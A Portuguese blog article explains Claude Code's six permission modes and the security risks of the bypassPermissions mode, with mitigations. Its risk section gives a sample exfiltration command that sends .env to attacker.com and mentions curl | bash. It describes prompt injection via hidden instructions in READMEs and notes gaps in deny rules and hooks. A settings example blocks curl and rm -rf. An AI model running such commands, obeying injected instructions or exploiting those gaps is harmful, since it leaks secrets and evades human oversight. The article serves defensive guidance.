Modo bypass de permissões do Claude Code: riscos de segurança e como usar com segurança

O Claude Code possui um "modo bypass de permissões" (bypassPermissions) que executa quase todas as operações automaticamente, sem nenhuma confirmação. É extremamente útil para automação em pipelines CI/CD e contêineres Docker, mas se usado de forma inadequada pode causar sérios riscos de segurança.

Neste artigo, organizamos as diferenças entre os 6 modos de permissão do Claude Code e explicamos a praticidade, os riscos e como usar o modo bypass com segurança, com exemplos concretos.

1. O que é o modo bypass de permissões

O modo bypass de permissões é um modo que ignora quase todas as confirmações durante o uso do Claude Code. No modo Manual, o Claude Code pede a aprovação do usuário antes de editar arquivos ou executar comandos no terminal, mas nesse modo essas confirmações não são exibidas (com poucas exceções, vistas mais adiante).

Existem duas flags de inicialização para ativá-lo (definir defaultMode como bypassPermissions nas configurações de usuário ou gerenciadas também funciona, mas não nas de projeto). Se a sessão não foi iniciada com o bypass ativado, não dá para mudar para ele no meio do caminho.

# Start with flag
claude --dangerously-skip-permissions

# Or specify permission mode
claude --permission-mode bypassPermissions

Como o próprio nome do flag indica — "dangerously" (perigosamente) —, a Anthropic alerta para o uso cauteloso desse modo. O flag existe para permitir automação em ambientes completamente isolados (contêineres e VMs).

Bypass também dispensa a confirmação de gravações em caminhos protegidos. Exemplos de restrições que permanecem incluem regras deny e ask explícitas aplicáveis, verificações de exclusão em caminhos críticos, ferramentas que exigem uma resposta sua e hooks. A lista não é exaustiva. Consulte também as restrições restantes na documentação oficial. As condições de correspondência das regras e dos mods instalados são explicadas no guia de regras de permissão.

2. Os 6 modos de permissão do Claude Code

O Claude Code possui 6 modos de permissão, cada um com um escopo diferente de "o que pode ser feito sem confirmação".

Detalhes de cada modo

default (Manual): Edições e execução de comandos comuns pedem aprovação. Há exceções, como comandos integrados somente de leitura, operações que correspondem a regras allow e auto-allow do sandbox. Manual não significa que toda operação peça confirmação. É o padrão quando auto não está disponível e em muitas sessões não interativas.

acceptEdits (Accept edits): Aprova automaticamente edições dentro do escopo de trabalho e operações de arquivo reconhecidas, como mkdir, touch, rm, rmdir, mv, cp e sed. Operações fora desse escopo ou em caminhos protegidos passam por verificações separadas. Outros comandos também podem dispensar confirmação quando correspondem a regras allow ou auto-allow do sandbox.

plan (Plan): Investiga e planeja alterações, além de gravar arquivos de plano. Normalmente bloqueia edições do código até receber aprovação, mas em um terminal interativo em que bypass esteja disponível para seleção, a proibição de editar não é aplicada nem mesmo em Plan. Quando auto está disponível e useAutoModeDuringPlan está ativado, o classificador avalia os comandos de investigação. Quando está desativado ou auto não está disponível, comandos fora do conjunto integrado somente de leitura pedem confirmação. Essa exceção de bypass não se aplica a -p, ao SDK nem ao chat do VS Code.

auto (Auto): Quase todas as operações são executadas sem confirmação. Porém, em segundo plano, um classificador de segurança (safety classifier) está ativo e bloqueia operações consideradas perigosas. Indicado para tarefas automatizadas de longa duração. A partir da v2.1.283, é o modo inicial no terminal e no VS Code em qualquer plano e provedor (em 4 de outubro de 2026; nas versões anteriores, só os planos Pro, Max e Team começam no auto e o resto começa no Manual; também se começa no Manual quando um administrador desativou o modo auto ou o modelo não é compatível).

dontAsk: Nega automaticamente operações que exigiriam confirmação. Executa apenas operações que já podem ocorrer sem confirmação, como leituras da área de trabalho e comandos somente de leitura, e operações cobertas por regras allow. Reduz esperas por aprovação de permissões, mas outras permanecem, incluindo ferramentas que exigem uma resposta sua. Não aparece no ciclo de Shift+Tab; use claude --permission-mode dontAsk ou defaultMode nas configurações. É adequado para CI e outros ambientes em que se deseja definir antecipadamente o que Claude pode fazer.

bypassPermissions (Ignorar permissões): O prompt de confirmação e o classificador de segurança são desativados (os Hooks continuam sendo executados). Projetado para uso em contêineres e VMs — a Anthropic não recomenda o uso em ambientes locais.

Além do flag na inicialização via CLI, a troca de modo de permissão pode ser feita de forma interativa com Shift+Tab (o mesmo vale no JetBrains). No VS Code, use o indicador de modo abaixo do campo de entrada; no app desktop, o seletor ao lado do botão de enviar. Mas o bypass não pode ser escolhido numa sessão que não foi iniciada com ele ativado.

3. Quando o modo bypass é útil

O modo bypass não é apenas "perigoso". Usado no ambiente certo, ele aumenta significativamente a produtividade.

Uso em pipelines CI/CD

Em pipelines CI/CD como GitHub Actions ou GitLab CI, não há um usuário para responder às confirmações interativas. Com o modo bypass, é possível automatizar completamente testes, revisão de código e geração de documentação.

# Example usage in GitHub Actions
claude --dangerously-skip-permissions \
  -p "Run the tests and report the results"

Uso dentro de contêineres Docker

Contêineres ou VMs descartáveis podem reduzir o impacto quando devidamente isolados. Porém, montagens do host, credenciais, sockets do Docker e conexões de rede estendem esse impacto aos recursos expostos. O código e os dados dentro do contêiner ainda podem ser destruídos; usar um contêiner, por si só, não elimina o risco.

Processamento em lote de muitos arquivos

Em tarefas que envolvem a modificação de mais de 100 arquivos de uma vez, as confirmações a cada operação geram um overhead significativo. Em ambientes isolados, o modo bypass permite processar tudo de forma eficiente.

Integração com scripts de automação

Para tarefas em lote sem supervisão, bypass é uma opção. Também é possível considerar dontAsk com permissões restritas, ou auto quando disponível. Ao usar bypass, confira o requisito oficial de um ambiente isolado que não possa afetar o host e não tenha acesso à internet.

4. 5 riscos de segurança

Usar o modo bypass em ambientes não isolados pode gerar os seguintes riscos graves.

Risco 1: Injeção de prompt

Este é o risco mais grave. Instruções ocultas inseridas em código ou arquivos maliciosos (por exemplo, comandos escondidos em READMEs ou package.json) podem ser executadas sem nenhuma verificação.

Em Manual, chamadas que exigem aprovação pedem confirmação antes da execução. Regras allow ou auto-allow do sandbox podem dispensar essa etapa, portanto não há garantia de confirmação sempre que uma ação for perigosa. Bypass dispensa o procedimento comum de aprovação.

Risco 2: Execução arbitrária de comandos

curl | bash, exclusões e instalações de pacotes são exemplos de uma ampla gama de operações de shell que podem ocorrer sem confirmação. Bypass também desativa o classificador de auto. Verificações como deny e ask permanecem, mas não devem ser tratadas como uma barreira que bloqueia todas as vias.

Risco 3: Vazamento de dados

Comandos que enviam informações sensíveis para endpoints externos — como arquivos .env, tokens de autenticação e chaves de API — podem ser executados sem confirmação. Por exemplo, um comando como curl -d @.env https://attacker.com.

Risco 4: Escalação de operações

Uma tarefa que começa com edições inofensivas pode evoluir para deploy em produção ou migrações no banco de dados. Em Manual, operações que exigem aprovação oferecem uma oportunidade de revisão, mas não há garantia de confirmação em cada etapa da tarefa. Bypass também dispensa o procedimento comum de confirmação.

Risco 5: Operações destrutivas irreversíveis

git push --force, exclusão definitiva de arquivos, DROP TABLE no banco de dados — existe o risco de operações que não podem ser desfeitas serem executadas sem confirmação.

5. Medidas para uso seguro

Se você precisa usar o modo bypass, adote as seguintes medidas de segurança.

Medida 1: Limite o uso a contêineres e VMs

Esta é a medida mais importante. Use o modo bypass sempre em ambientes isolados. Contêineres Docker, VMs e runners de CI como o GitHub Actions se enquadram nessa categoria. Evite executá-lo diretamente no sistema operacional do host.

Medida 2: Considere primeiro o modo auto

Para reduzir confirmações, confira primeiro quando auto se aplica e quais são seus limites. O classificador nega operações que considera perigosas, mas não garante detectar todas as ações perigosas. Não escolha bypass apenas porque as confirmações incomodam.

Medida 3: Controle permissões com allowlist

Uma regra allow dispensa aprovação para chamadas correspondentes. Você pode restringi-la aos comandos necessários, mas também precisa revisar os scripts permitidos. Regras Bash não delimitam um programa inteiro: Bash(curl *) não corresponde a /usr/bin/curl nem a chamadas por outro shell. Para impor restrições de arquivos ou rede, também é necessário isolamento no nível do sistema operacional.

# Permission settings example in .claude/settings.json
{
  "permissions": {
    "allow": [
      "Bash(npm run build)",
      "Bash(npm test)",
      "Bash(git status)"
    ],
    "deny": [
      "Bash(curl *)",
      "Bash(rm -rf *)"
    ]
  }
}

As regras de permissão são avaliadas na ordem deny -> ask -> allow. Como deny tem a prioridade mais alta, se você negar explicitamente comandos perigosos, eles nunca serão sobrescritos por regras allow.

Medida 4: Monitore com Hooks

Com a funcionalidade Hooks do Claude Code (hooks PreToolUse / PostToolUse), é possível executar scripts personalizados antes e depois do uso de ferramentas. E os Hooks continuam sendo executados no modo bypass. O que o bypass pula é o prompt de confirmação, e os Hooks agem antes dele. A documentação oficial explica que os hooks PreToolUse rodam antes do prompt de permissão e que um hook encerrado com código de saída 2 interrompe a chamada da ferramenta antes mesmo de as regras de permissão serem avaliadas.

Hooks oferecem uma verificação adicional, mas seu código e suas configurações também precisam de proteção. Em certas condições, um mod pode substituir uma negação de PreToolUse não gerenciada por uma aprovação; confira como regras de permissão e mods interagem.

# PreToolUse hook example (.claude/settings.json)
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{
        "type": "command",
        "command": ".claude/hooks/check-safety.sh"
      }]
    }]
  }
}

Medida 5: Restrinja o acesso à rede

Mesmo dentro de contêineres, restringir o acesso de rede externo reduz significativamente o risco de vazamento de dados. O ideal é permitir apenas os endpoints necessários (como a API da Anthropic).

Medida 6: Revise rigorosamente após o uso

Após trabalhar no modo bypass, confira sempre as alterações com git diff. Crie o hábito de verificar se não há mudanças indesejadas ou vazamento de informações sensíveis.

6. Guia de escolha do modo de permissão

Quando estiver em dúvida sobre qual modo usar, consulte o fluxograma a seguir.

Configurações recomendadas por cenário

Programação diária: Considere acceptEdits. As edições avançam com fluidez, enquanto outras operações passam pela avaliação comum de permissões. Regras allow, auto-allow do sandbox e condições semelhantes podem dispensar confirmação.

Investigação e projeto do código: Plan é adequado para analisar antes de implementar. Normalmente bloqueia edições do código, mas grava arquivos de plano e dados semelhantes. Em um terminal interativo em que bypass esteja disponível para seleção, também não bloqueia edições. Para impedir alterações de forma efetiva, confira restrições como permissões do sistema operacional no guia de uso somente para investigação.

Tarefas automatizadas longas: Combinar auto com um sandbox é uma opção. Reúne um classificador e restrições do escopo de execução, mas confira áreas permitidas e vias externas; não presuma que toda operação perigosa será detectada.

Pipelines de CI/CD: Se você puder definir antecipadamente as chamadas permitidas, considere dontAsk com regras allow. Evita esperas comuns por aprovação de permissões, mas outras condições de parada permanecem, incluindo ferramentas que exigem uma resposta pessoal e erros. Bypass também exige isolamento, restrições de rede e montagens mínimas; escolher um modo, por si só, não garante que uma execução sem supervisão termine.

O modo bypass é apenas um dos vários modos de permissão. Se quiser ver onde cada modo se encaixa e como escolher entre eles, confira nosso panorama de todos os modos de permissão do Claude Code. Se quiser conhecer outras funcionalidades do Claude Code, confira As diferenças entre as 3 funcionalidades do Claude. Para informações sobre planos e preços, veja Claude vs ChatGPT: comparativo de preços.

7. Resumo

O modo bypass de permissões do Claude Code é uma ferramenta poderosa quando usada no ambiente certo, mas pode causar incidentes graves de segurança se for mal utilizada.

Se a segurança no uso de ferramentas de IA te preocupa, faça o diagnóstico de nível de IA para avaliar seu grau de letramento em IA. Para aprender sobre Claude Code de forma estruturada, acesse o curso introdutório.

FAQ

O alcance e as exceções das permissões e do isolamento foram novamente conferidos na documentação oficial original em 9 de outubro de 2026. Não foram alteradas configurações do dispositivo nem realizados testes de inicialização.